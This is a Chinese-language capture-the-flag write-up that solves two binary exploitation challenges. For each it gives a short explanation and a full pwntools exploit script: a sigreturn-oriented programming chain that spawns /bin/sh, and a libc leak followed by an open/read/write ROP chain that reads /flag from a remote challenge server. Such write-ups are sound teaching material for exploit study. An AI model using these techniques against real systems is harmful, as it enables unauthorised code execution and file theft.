syscall_leave
rootersctf_2019_srop



可以看到这个什么都没有,但是存在pop rax的操作,所以可以用SROP来泄露后门函数
思路
用SROP第一次读入执行read函数,第二次向这个read函数读入/bin/sh,并让函数通过frame去执行它
注意,在第一次的rbp控制,他是通过leave_ret跳转的,这个rbp是要执行函数的前一个位置,所以在第二个payload构造的时候加上“/bin/sh\x00”一共要填充0x38个字节才到达我们构造的read函数执行结束之后会继续执行的位置
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import * import sys from LibcSearcher import * file_path = "./rootersctf_2019_srop" remote_host = "node5.buuoj.cn" remote_port =27430 #libc=ELF("") context(arch='amd64', os='linux', log_level='debug') elf = ELF(file_path)
if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p, "b*0x000000000401035")
def sla(a, b): p.sendlineafter(a, b) def sa(a,b): p.sendafter(a,b)
rax_sys_kea_ret=0x401032 bss=0x402000 syscall=0x401033 frame=SigreturnFrame() frame.rax=0 frame.rdi=0 frame.rsi=bss frame.rdx=0x400 frame.rip=syscall frame.rbp=bss+0x30
payload=b"a"*0x88+p64(rax_sys_kea_ret)+p64(15)+bytes(frame)
sa(b"Hey, can i get some feedback for the CTF?",payload)
frame=SigreturnFrame() frame.rax=59 frame.rdi=bss frame.rsi=0 frame.rdx=0 frame.rip=syscall pay=b"/bin/sh\x00"+b"a"*0x30+p64(rax_sys_kea_ret)+p64(15)+bytes(frame) p.sendline(pay)
p.interactive()
|
call_syscall
题目



思路
可以看到,开启了pie保护,但程序会输出puts的地址,可以通过puts的地址去泄露libc基地址,但是canary保护限制了执行的范围,所以可以通过syscall(15)去使用SigreturnFrame,设计寄存器让函数输入/flaghe orw的攻击,最后控制rsp去执行这个orw
这里不是syscall,而是调用syscall,调用会push rsp,会导致不满16字节,所以舍去我们构造的frame的前8个字节
详解可以看师傅不会修电脑的师傅
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * import sys from LibcSearcher import * file_path = "./babypwn" remote_host = "node5.buuoj.cn" remote_port = 26643 libc = ELF("libc-2.23.so") context(arch='amd64', os='linux', log_level='debug') elf = ELF(file_path)
if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p, "b* printf")
def sla(a, b): p.sendlineafter(a, b) def sa(a,b): p.sendafter(a,b)
p.recvuntil(b"0x") puts = int(p.recv(12), 16) print(b"puts=================="+hex(puts).encode())
libc_base= puts - libc.symbols["puts"] open_addr = libc_base + libc.symbols['open'] read_addr = libc_base + libc.symbols['read'] write_addr = libc_base + libc.symbols['write']
bss = libc_base + 0x00000000003c6000 rdi = libc_base + 0x21102 rsi = libc_base + 0x202e8 rdx = libc_base + 0x1b92
frame = SigreturnFrame() frame.rdi = 0 frame.rsi = bss frame.rdx = 0x200 frame.rip = read_addr frame.rsp = bss+8 pay = bytes(frame)[8:] p.sendlineafter(b'Please input magic message: ', pay)
payload = b"/flag\x00\x00\x00"+p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(open_addr) payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_addr) payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(write_addr)
p.sendline(payload)
p.interactive()
|